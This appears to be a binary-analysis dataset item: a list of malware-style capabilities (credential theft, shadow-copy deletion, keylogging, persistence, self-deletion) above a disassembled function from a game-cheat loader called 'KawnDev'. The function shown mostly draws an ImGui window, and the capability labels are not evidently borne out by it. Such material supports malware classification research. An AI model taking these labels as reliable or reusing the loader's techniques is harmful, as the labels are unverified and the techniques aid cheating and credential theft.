Function at 0x140041f90
Capabilities:
Acquire credentials from windows credential manager
Delete volume shadow copies
Encode data using base64
Execute command
Log keystrokes via polling
Persist via default file association registry key
Persist via windows service
Schedule task via at
Self delete
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x640]
sub rsp, 0x740
xor eax, eax
movaps xmmword [rsp + 0x6c0], xmm13
xorps xmm0, xmm0
mov byte [0x1402b5270], al
mov dword [0x1402b4f74], eax
xor r14d, r14d
mov qword [0x1402b4f98], rax
mov edx, 0x7f00
mov dword [0x1402b4fa0], eax
xor ecx, ecx
mov byte [0x1402b4fa4], al
lea rax, [0x140040fc0]
mov qword [rbp + 0x2b8], rax
mov dword [0x1402b5228], 0
mov byte [0x1402b522c], 0
mov qword [0x1402b4f78], 0
mov word [0x1402b4f80], 0
mov byte [0x1402b4f82], 0
movups xmmword [0x1402b5230], xmm0
mov dword [rbp + 0x2b0], 0x50
movups xmmword [0x1402b5240], xmm0
mov dword [rbp + 0x2b4], 0x40
movups xmmword [0x1402b5250], xmm0
mov qword [rbp + 0x2c0], r14
movups xmmword [0x1402b5260], xmm0
mov qword [rbp + 0x2c8], r14
movups xmmword [0x1402b4f88], xmm0
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x2d0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x2e0], r14
mov qword [rbp + 0x2d8], rax
xor ecx, ecx
lea rax, str.ImGui
mov qword [rbp + 0x2e8], rax
lea rax, str.Example
mov qword [rbp + 0x2f0], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x2b0]
mov qword [rbp + 0x2f8], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x1402b4374]
mov r15d, 1
mov ecx, r15d
cvttss2si esi, dword [0x1402b4370]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x1402b4374]
xor ecx, ecx
movss xmm13, dword [0x140123c78]
cdq
sub eax, edx
mulss xmm0, xmm13
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x1402b4370]
lea r8, [0x14012af60]
mov qword [rsp + 0x58], r14
cdq
mov qword [rsp + 0x50], r14
sub eax, edx
mov rdx, qword [rbp + 0x2f0]
mov r9d, 0x80000000
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], edi
sar eax, 1
mov dword [rsp + 0x30], esi
mulss xmm0, xmm13
mov dword [rsp + 0x28], ebx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x1402b4f58], rax
mov edx, 0xffffffec
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov rcx, qword [0x1402b4f58]
mov edx, 0xffffffec
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x1402b4f58]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x140133600]
lea rdx, [rbp + 0x3c0]
mov rcx, qword [0x1402b4f58]
movdqu xmmword [rbp + 0x3c0], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rdi, qword [0x1402b4f58]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x14004225a
lea rdx, str.SetWindowCompositionAttribute
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140042251
movdqa xmm0, xmmword [reloc.WS2_32.dll_connect]
lea rcx, [rbp + 0x270]
mov qword [rbp + 0x290], rcx
lea rdx, [rbp + 0x288]
mov rcx, rdi
mov dword [rbp + 0x288], reloc.WS2_32.dll_send
movdqu xmmword [rbp + 0x270], xmm0
mov dword [rbp + 0x298], reloc.WS2_32.dll_recv
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [0x1402b4f58]
lea rdx, [0x1402b4f60]
xorps xmm0, xmm0
movups xmmword [0x1402b4f60], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x1402b4f58]
lea rbx, [0x1402b5280]
mov qword [rsp + 0x58], rbx
lea rdi, [0x1402b5278]
mov qword [rbp + 0x200], rax
lea rsi, [0x1402b5288]
lea rax, [rbp - 0x60]
mov qword [rbp + 0x1e4], r14
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov edx, r15d
mov dword [rsp + 0x30], 7
lea rax, [rsp + 0x68]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x1f8], 2
mov qword [rbp + 0x210], 2
mov qword [rbp + 0x1d0], r14
mov dword [rbp + 0x1e0], Ordinal_32
mov dword [rbp + 0x1d8], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x1dc], r15d
mov dword [rbp + 0x1f4], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x1ec], r15
mov qword [rbp + 0x208], r15
mov dword [rsp + 0x68], 0xb000
mov dword [rsp + 0x6c], 0xa000
call sub.d3d11.dll_D3D11CreateDeviceAndSwapChain
cmp eax, 0x887a0004
jne 0x1400423a7
mov qword [rsp + 0x58], rbx
lea rax, [rbp - 0x60]
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov edx, 5
mov dword [rsp + 0x30], 7
lea rax, [rsp + 0x68]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
call sub.d3d11.dll_D3D11CreateDeviceAndSwapChain
test eax, eax
jne 0x140045cc7
mov rcx, qword [0x1402b5288]
lea r9, [rbp - 0x68]
movaps xmmword [rsp + 0x730], xmm6
lea r8, [0x140133598]
xor edx, edx
movaps xmmword [rsp + 0x700], xmm9
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [0x1402b5278]
lea r9, [0x1402b5298]
mov rdx, qword [rbp - 0x68]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x1402b4f58]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1402b4f58]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.90.0
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov edx, 0x38e8
mov r9d, 8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x464
call fcn.140009a90
xor ecx, ecx
call fcn.140009740
call fcn.14000d800
lea rcx, [rbp + 0x510]
mov rdi, rax
or dword [rax], 3
call fcn.140021960
mov dword [rbp + 0x55c], 0x30c
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140027c50
movss xmm3, dword [0x140123cd4]
lea rdx, [0x140263870]
mov qword [rsp + 0x28], rax
mov r8d, 0x28128
lea rax, [rbp + 0x510]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140022d20
mov qword [0x1402b4f30], rax
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140027c50
movss xmm3, dword [0x1401335cc]
lea rdx, [0x14028b9a0]
mov qword [rsp + 0x28], rax
mov r8d, 0x280d0
lea rax, [rbp + 0x510]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140022d20
mov qword [0x1402b4f40], rax
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140027c50
movss xmm6, dword [0x140128dc0]
lea rdx, [0x140213620]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0x510]
mov r8d, 0x28124
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140022d20
mov qword [0x1402b4f38], rax
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140027c50
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x510]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x140123cdc]
lea rdx, [0x1402b3a70]
mov r8d, 0x8fc
mov rcx, rbx
call fcn.140022d20
mov qword [0x1402b4f48], rax
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140027c50
mov qword [rsp + 0x28], rax
lea rdx, [0x1401b8a90]
lea rax, [rbp + 0x510]
movaps xmm3, xmm6
mov r8d, 0x4cefc
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.140022d20
mov rcx, qword [0x1402b4f58]
mov qword [0x1402b4f50], rax
call fcn.14003d290
mov rdx, qword [0x1402b5280]
mov rcx, qword [0x1402b5278]
call fcn.14003c190
cmp qword [0x1402b4ea0], r14
mov qword [rbp - 0x58], 0xffffffffffffffff
mov qword [rbp - 0x50], 0xffffffffffffffff
mov qword [rbp - 0x48], 0xffffffffffffffff
mov qword [rbp - 0x40], 0xffffffffffffffff
mov dword [rbp - 0x38], 0xffffffff
mov qword [rbp - 0x34], 0xfffffffffffffffd
mov dword [rbp - 0x2c], 0xffffffff
mov qword [rbp - 0x28], r14
jne 0x140042656
mov rcx, qword [0x1402b5278]
lea rax, [0x1402b4ea0]
mov qword [rsp + 0x30], r14
lea r9, [rbp - 0x58]
mov qword [rsp + 0x28], rax
lea rdx, [0x14018a1a0]
mov r8d, 0x168
mov qword [rsp + 0x20], r14
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x1402b4ea8], r14
jne 0x140042692
mov rcx, qword [0x1402b5278]
lea rax, [0x1402b4ea8]
mov qword [rsp + 0x30], r14
lea r9, [rbp - 0x58]
mov qword [rsp + 0x28], rax
lea rdx, [0x14018a310]
mov r8d, 0xbf
mov qword [rsp + 0x20], r14
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x1402b4eb0], r14
jne 0x1400426ce
mov rcx, qword [0x1402b5278]
lea rax, [0x1402b4eb0]
mov qword [rsp + 0x30], r14
lea r9, [rbp - 0x58]
mov qword [rsp + 0x28], rax
lea rdx, [0x14018a3d0]
mov r8d, 0x171
mov qword [rsp + 0x20], r14
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x1402b4eb8], r14
jne 0x14004270a
mov rcx, qword [0x1402b5278]
lea rax, [0x1402b4eb8]
mov qword [rsp + 0x30], r14
lea r9, [rbp - 0x58]
mov qword [rsp + 0x28], rax
lea rdx, [0x14018a550]
mov r8d, 0x1b9
mov qword [rsp + 0x20], r14
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x1402b4ed0], r14
jne 0x140042746
mov rcx, qword [0x1402b5278]
lea rax, [0x1402b4ed0]
mov qword [rsp + 0x30], r14
lea r9, [rbp - 0x58]
mov qword [rsp + 0x28], rax
lea rdx, [0x14018a9f0]
mov r8d, 0x11eee
mov qword [rsp + 0x20], r14
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x1402b4ed8], r14
jne 0x140042782
mov rcx, qword [0x1402b5278]
lea rax, [0x1402b4ed8]
mov qword [rsp + 0x30], r14
lea r9, [rbp - 0x58]
mov qword [rsp + 0x28], rax
lea rdx, [0x14019c8e0]
mov r8d, 0x11eee
mov qword [rsp + 0x20], r14
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x1402b4ee0], r14
jne 0x1400427be
mov rcx, qword [0x1402b5278]
lea rax, [0x1402b4ee0]
mov qword [rsp + 0x30], r14
lea r9, [rbp - 0x58]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401ae7d0]
mov r8d, 0x510c
mov qword [rsp + 0x20], r14
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x1402b4f28], r14
jne 0x1400427fa
mov rcx, qword [0x1402b5278]
lea rax, [0x1402b4f28]
mov qword [rsp + 0x30], r14
lea r9, [rbp - 0x58]
mov qword [rsp + 0x28], rax
lea rdx, [0x14020f640]
mov r8d, 0x3fde
mov qword [rsp + 0x20], r14
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x1402b4f10], r14
jne 0x140042836
mov rcx, qword [0x1402b5278]
lea rax, [0x1402b4f10]
mov qword [rsp + 0x30], r14
lea r9, [rbp - 0x58]
mov qword [rsp + 0x28], rax
lea rdx, [0x140205990]
mov r8d, 0x185e
mov qword [rsp + 0x20], r14
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x1402b4f20], r14
jne 0x140042872
mov rcx, qword [0x1402b5278]
lea rax, [0x1402b4f20]
mov qword [rsp + 0x30], r14
lea r9, [rbp - 0x58]
mov qword [rsp + 0x28], rax
lea rdx, [0x14020b950]
mov r8d, 0x3ce8
mov qword [rsp + 0x20], r14
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
lea rcx, [0x1402b4fb0]
mov qword [rsp + 0x778], r13
call fcn.1400c02f0
cmp byte [0x1402b51c0], r14b
jne 0x14004290b
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x270]
lea rcx, [rsp + 0x60]
call fcn.140040860
movzx edx, byte [rax + 0xa]
test dl, dl
je 0x1400428dc
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor byte [rax + 6], 0x3f
xor byte [rax + 7], 0x40
xor byte [rax + 8], 0x41
xor byte [rax + 9], 0x42
xor dl, 0x43
mov byte [rax + 0xa], dl
mov rdx, rax
mov rcx, r8
call fcn.14003ee40
mov rcx, rax
lea rdx, [0x1402b51c8]
call fcn.14003ee20
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x770], r12
lea r13, [0x1402b51c8]
movaps xmmword [rsp + 0x720], xmm7
xor r12b, r12b
movaps xmmword [rsp + 0x710], xmm8
movaps xmmword [rsp + 0x6f0], xmm10
movaps xmmword [rsp + 0x6e0], xmm11
movaps xmmword [rsp + 0x6d0], xmm12
xorps xmm12, xmm12
movaps xmmword [rsp + 0x6b0], xmm14
movss xmm14, dword [0x140123ca0]
movaps xmmword [rsp + 0x6a0], xmm15
movss xmm15, dword [0x140123d0c]
movss xmm10, dword [0x1401335f8]
lea rcx, [rbp + 0x1d0]
movss xmm11, dword [0x140123d14]
xor r9d, r9d
movss xmm7, dword [0x140123d08]
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140042a00
nop dword [rax]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x1d8], 0x12
lea rcx, [rbp + 0x1d0]
movzx r12d, r12b
cmove r12d, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x1400429b0
test r12b, r12b
jne 0x140045c0c
mov r8d, dword [0x1402b5290]
test r8d, r8d
je 0x140042aad
mov r9d, dword [0x1402b5294]
test r9d, r9d
je 0x140042aad
mov rcx, qword [0x1402b5298]
test rcx, rcx
je 0x140042a47
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov r8d, dword [0x1402b5290]
mov r9d, dword [0x1402b5294]
mov qword [0x1402b5298], r14
mov rcx, qword [0x1402b5288]
xor edx, edx
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
mov rax, qword [rcx]
call qword [rax + 0x68]
mov rcx, qword [0x1402b5288]
lea r9, [rbp - 0x68]
lea r8, [0x140133598]
mov dword [0x1402b5294], r14d
xor edx, edx
mov dword [0x1402b5290], r14d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [0x1402b5278]
lea r9, [0x1402b5298]
mov rdx, qword [rbp - 0x68]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call fcn.14003c410
call fcn.14003d440
call fcn.140015010
call fcn.14000e1f0
xor edx, edx
lea rcx, [rsp + 0x70]
mov r15, rax
mov qword [rax + 8], 0
mov dword [rax + 0x4c], 0x41a00000
mov dword [rax + 0x50], 0x41a00000
mov dword [rax + 0x14], r14d
mov dword [rax + 0x74], 0x41000000
movsd xmm0, qword [0x1402b4370]
movsd qword [rsp + 0x70], xmm0
call fcn.14001b160
lea r8, [rsp + 0x68]
mov qword [rsp + 0x68], 0
xor edx, edx
mov qword [rbp - 0x60], 0
lea rcx, [rbp - 0x60]
call fcn.14001b0d0
xor edx, edx
lea rcx, str.KawnDev
mov r8d, 2
call fcn.140004640
lea rcx, [rbp + 0x400]
call fcn.14000e420
call fcn.14000cf60
movss xmm6, dword [0x1402b4378]
lea rcx, [0x1402b4d68]
movaps xmm1, xmm14
mov rbx, rax
call fcn.14000d110
movsd xmm0, qword [0x1402b4370]
lea r8, [rbp + 0x2a0]
mov dword [rsp + 0x28], r14d
lea rdx, [rbp + 0x1b0]
mov r9d, eax
movsd qword [rbp + 0x2a0], xmm0
mov rcx, rbx
movss dword [rsp + 0x20], xmm6
mov qword [rbp + 0x1b0], 0
call fcn.140024460
call fcn.14000cf60
mov ecx, dword [rax + 0x20]
mov dword [0x1402b4f70], ecx
call fcn.14000cf60
movss xmm6, dword [0x1402b4378]
lea rcx, [0x1402b4d78]
movaps xmm1, xmm14
mov rbx, rax
call fcn.14000d110
movss xmm1, dword [0x1402b4370]
lea r8, [rbp + 0x1b8]
mulss xmm1, xmm13
lea rdx, [rbp + 0x1c0]
mov dword [rsp + 0x28], r14d
mov r9d, eax
mov rcx, rbx
movss dword [rsp + 0x20], xmm6
mov dword [rbp + 0x1c4], 0xc2480000
movaps xmm0, xmm1
subss xmm0, dword [0x1401335dc]
subss xmm1, dword [0x1401335e0]
movss dword [rbp + 0x1b8], xmm0
movss xmm0, dword [0x1402b4374]
movss dword [rbp + 0x1bc], xmm0
movss dword [rbp + 0x1c0], xmm1
call fcn.140024460
movaps xmm8, xmm7
movaps xmm9, xmm7
movaps xmm7, xmm11
movaps xmm6, xmm11
call fcn.14000cf60
movsxd rdi, dword [0x1402b4f70]
mov rsi, rax
mov ecx, dword [rax + 0x20]
cmp edi, ecx
jge 0x140042ce9
lea rbx, [rdi + rdi*4]
mov r14, rdi
shl rbx, 2
test r14, r14
js 0x140042c79
cmp edi, ecx
jl 0x140042c96
mov r8d, 0x76c
lea rdx, str.C:UsersKawnDesktopKawnDev_LOADERSRCimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
minss xmm8, dword [rbx + rax]
minss xmm9, dword [rbx + rax + 4]
test r14, r14
js 0x140042cb0
cmp edi, ecx
jl 0x140042cca
mov r8d, 0x76c
lea rdx, str.C:UsersKawnDesktopKawnDev_LOADERSRCimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsi + 0x28]
inc edi
mov ecx, dword [rsi + 0x20]
inc r14
maxss xmm6, dword [rbx + rax]
maxss xmm7, dword [rbx + rax + 4]
add rbx, 0x14
cmp edi, ecx
jl 0x140042c70
addss xmm6, xmm8
movaps xmm0, xmm10
addss xmm7, xmm9
mulss xmm6, xmm13
mulss xmm7, xmm13
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
movaps xmm8, xmm0
movaps xmm0, xmm10
call sub.api_ms_win_crt_math_l1_1_0.dll_cosf
movaps xmm1, xmm0
movaps xmm10, xmm8
mulss xmm1, xmm7
movaps xmm11, xmm8
mulss xmm10, xmm6
movaps xmm9, xmm0
mulss xmm11, xmm7
subss xmm10, xmm1
movaps xmm1, xmm0
mulss xmm1, xmm6
addss xmm11, xmm1
subss xmm10, xmm6
subss xmm11, xmm7
call fcn.14000cf60
movsxd rdi, dword [0x1402b4f70]
mov rsi, rax
mov ecx, dword [rax + 0x20]
cmp edi, ecx
jge 0x140042e17
lea rbx, [rdi + rdi*4]
mov r14, rdi
shl rbx, 2
test r14, r14
js 0x140042d79
cmp edi, ecx
jl 0x140042d96
mov r8d, 0x76b
lea rdx, str.C:UsersKawnDesktopKawnDev_LOADERSRCimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
movss xmm1, dword [rbx + rax]
movss xmm6, dword [rbx + rax + 4]
movaps xmm7, xmm1
mulss xmm7, xmm8
movaps xmm0, xmm6
mulss xmm6, xmm8
mulss xmm0, xmm9
mulss xmm1, xmm9
subss xmm7, xmm0
addss xmm6, xmm1
subss xmm7, xmm10
subss xmm6, xmm11
test r14, r14
js 0x140042dda
cmp edi, ecx
jl 0x140042df4
mov r8d, 0x76b
lea rdx, str.C:UsersKawnDesktopKawnDev_LOADERSRCimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsi + 0x28]
inc edi
inc r14
movss dword [rax + rbx], xmm7
movss dword [rax + rbx + 4], xmm6
add rbx, 0x14
mov ecx, dword [rsi + 0x20]
cmp edi, ecx
jl 0x140042d70
call fcn.14000e3f0
movaps xmm1, xmm14
lea rcx, [0x1402b4d38]
mov rbx, rax
call fcn.14000d110
mov rdx, qword [0x1402b4e98]
lea r9, [rbp + 0x18]
mov dword [rsp + 0x30], eax
lea r8, [rbp + 0x20]
lea rax, [rbp + 8]
mov dword [rbp + 8], 0x3f800000
mov qword [rsp + 0x28], rax
mov rcx, rbx
lea rax, [rbp + 0x10]
mov dword [rbp + 0xc], 0x3f800000
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x10], 0
mov dword [rbp + 0x18], 0x42c80000
mov dword [rbp + 0x1c], 0x42c00000
mov dword [rbp + 0x20], 0x42200000
mov dword [rbp + 0x24], 0x42200000
call fcn.140023110
call fcn.14000e3f0
movaps xmm1, xmm14
lea rcx, [0x1402b4d38]
mov rbx, rax
call fcn.14000d110
movss xmm1, dword [0x1402b4370]
lea r9, [rbp + 0x38]
movss xmm9, dword [0x1401335cc]
lea r8, [rbp + 0x40]
movss xmm8, dword [0x1401335d4]
movaps xmm0, xmm1
mov rdx, qword [0x1402b4ea0]
subss xmm0, xmm9
mov dword [rsp + 0x30], eax
subss xmm1, xmm8
lea rax, [rbp + 0x28]
mov dword [rbp + 0x28], 0x3f800000
mov qword [rsp + 0x28], rax
mov rcx, rbx
lea rax, [rbp + 0x30]
mov dword [rbp + 0x2c], 0x3f800000
movss dword [rbp + 0x38], xmm0
movss dword [rbp + 0x40], xmm1
mov qword [rbp + 0x30], 0
mov dword [rbp + 0x3c], 0x42be0000
mov dword [rbp + 0x44], 0x425c0000
mov qword [rsp + 0x20], rax
call fcn.140023110
call fcn.14000e3f0
movaps xmm1, xmm14
lea rcx, [0x1402b4d98]
mov rbx, rax
call fcn.14000d110
movss xmm1, dword [0x1402b4370]
lea r9, [rbp + 0x58]
movss xmm6, dword [0x14012ad8c]
lea r8, [rbp + 0x60]
mov rdx, qword [0x1402b4ea8]
movaps xmm0, xmm1
mov dword [rsp + 0x30], eax
subss xmm0, xmm8
subss xmm1, xmm6
mov dword [rbp + 0x48], 0x3f800000
lea rax, [rbp + 0x48]
mov dword [rbp + 0x4c], 0x3f800000
mov qword [rsp + 0x28], rax
mov rcx, rbx
lea rax, [rbp + 0x50]
mov qword [rbp + 0x50], 0
movss dword [rbp + 0x58], xmm0
movss dword [rbp + 0x60], xmm1
mov dword [rbp + 0x5c], 0x42be0000
mov dword [rbp + 0x64], 0x425c0000
mov qword [rsp + 0x20], rax
call fcn.140023110
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140043010
movss xmm1, dword [0x1402b4370]
lea rdx, [rbp + 0x68]
movaps xmm0, xmm1
mov dword [rbp + 0x6c], 0x42be0000
subss xmm0, xmm9
mov dword [rbp + 0x74], 0x425c0000
subss xmm1, xmm8
mov r8b, 1
lea rcx, [rbp + 0x70]
movss dword [rbp + 0x68], xmm0
movss dword [rbp + 0x70], xmm1
call fcn.1400100a0
test al, al
je 0x140043010
xor ecx, ecx
call qword [sym.imp.USER32.dll_PostQuitMessage]
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x14004307b
movss xmm1, dword [0x1402b4370]
lea rdx, [rbp + 0x78]
movaps xmm0, xmm1
mov dword [rbp + 0x7c], 0x42be0000
subss xmm0, xmm8
mov dword [rbp + 0x84], 0x425c0000
subss xmm1, xmm6
mov r8b, 1
lea rcx, [rbp + 0x80]
movss dword [rbp + 0x78], xmm0
movss dword [rbp + 0x80], xmm1
call fcn.1400100a0
test al, al
je 0x14004307b
mov rcx, qword [0x1402b4f58]
mov edx, 6
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1402b4f40]
call fcn.140016ad0
call fcn.14000e3f0
movaps xmm1, xmm14
lea rcx, [0x1402b4d38]
mov rdi, rax
call fcn.14000d110
xor r9d, r9d
movss dword [rsp + 0x20], xmm15
xor r8d, r8d
lea rdx, str.KAWN_DEV
lea rcx, [rbp + 0x408]
mov ebx, eax
call fcn.140008480
movss xmm10, dword [0x1401335e8]
lea rdx, str.KAWN_DEV
movaps xmm6, xmm10
movss dword [rsp + 0x20], xmm15
xor r9d, r9d
lea rcx, [rbp + 0x410]
subss xmm6, dword [rax + 4]
xor r8d, r8d
mulss xmm6, xmm13
call fcn.140008480
movss xmm0, dword [0x1402b4370]
lea r9, str.KAWN
xor esi, esi
lea rdx, [rbp + 0x88]
mov r8d, ebx
mov qword [rsp + 0x20], rsi
subss xmm0, dword [rax]
mov rcx, rdi
movss dword [rbp + 0x8c], xmm6
mulss xmm0, xmm13
movss dword [rbp + 0x88], xmm0
call fcn.140025cf0
call fcn.14000e3f0
movaps xmm1, xmm14
lea rcx, [0x1402b4d88]
mov rdi, rax
call fcn.14000d110
xor r9d, r9d
movss dword [rsp + 0x20], xmm15
xor r8d, r8d
lea rdx, [0x14012af9c]
lea rcx, [rbp + 0x418]
mov ebx, eax
call fcn.140008480
movaps xmm7, xmm10
movss dword [rsp + 0x20], xmm15
xor r9d, r9d
lea rdx, [0x14012af9c]
xor r8d, r8d
lea rcx, [rbp + 0x420]
subss xmm7, dword [rax + 4]
mulss xmm7, xmm13
call fcn.140008480
movss xmm6, dword [0x1402b4370]
lea rdx, [0x14011e2e4]
xor r9d, r9d
movss dword [rsp + 0x20], xmm15
xor r8d, r8d
lea rcx, [rbp + 0x390]
subss xmm6, dword [rax]
call fcn.140008480
mulss xmm6, xmm13
lea r9, str.______DEV
mov r8d, ebx
mov qword [rsp + 0x20], rsi
lea rdx, [rbp + 0x90]
mov rcx, rdi
addss xmm6, dword [rax]
movss dword [rbp + 0x94], xmm7
movss dword [rbp + 0x90], xmm6
call fcn.140025cf0
call fcn.140016610
mov rcx, qword [0x1402b4f38]
call fcn.140016ad0
call fcn.14000e3f0
mov rdi, rax
movaps xmm1, xmm14
lea rcx, [0x1402b4d98]
call fcn.14000d110
xor r9d, r9d
movss dword [rsp + 0x20], xmm15
xor r8d, r8d
lea rdx, str.Advanced__Modern_Cheat
lea rcx, [rbp + 0x428]
mov ebx, eax
call fcn.140008480
movaps xmm6, xmm10
movss dword [rsp + 0x20], xmm15
xor r9d, r9d
lea rdx, str.Advanced__Modern_Cheat
xor r8d, r8d
lea rcx, [rbp + 0x480]
subss xmm6, dword [rax + 4]
mulss xmm6, xmm13
addss xmm6, xmm9
call fcn.140008480
movss xmm0, dword [0x1402b4370]
lea r9, str.Advanced__Modern_Cheat
mov r8d, ebx
mov qword [rsp + 0x20], rsi
lea rdx, [rbp + 0x98]
mov rcx, rdi
subss xmm0, dword [rax]
movss dword [rbp + 0x9c], xmm6
mulss xmm0, xmm13
movss dword [rbp + 0x98], xmm0
call fcn.140025cf0
call fcn.140016610
mov rcx, qword [0x1402b4f38]
call fcn.140016ad0
call fcn.14000e3f0
movaps xmm1, xmm14
lea rcx, [0x1402b4d98]
mov rdi, rax
call fcn.14000d110
xor r9d, r9d
movss dword [rsp + 0x20], xmm15
xor r8d, r8d
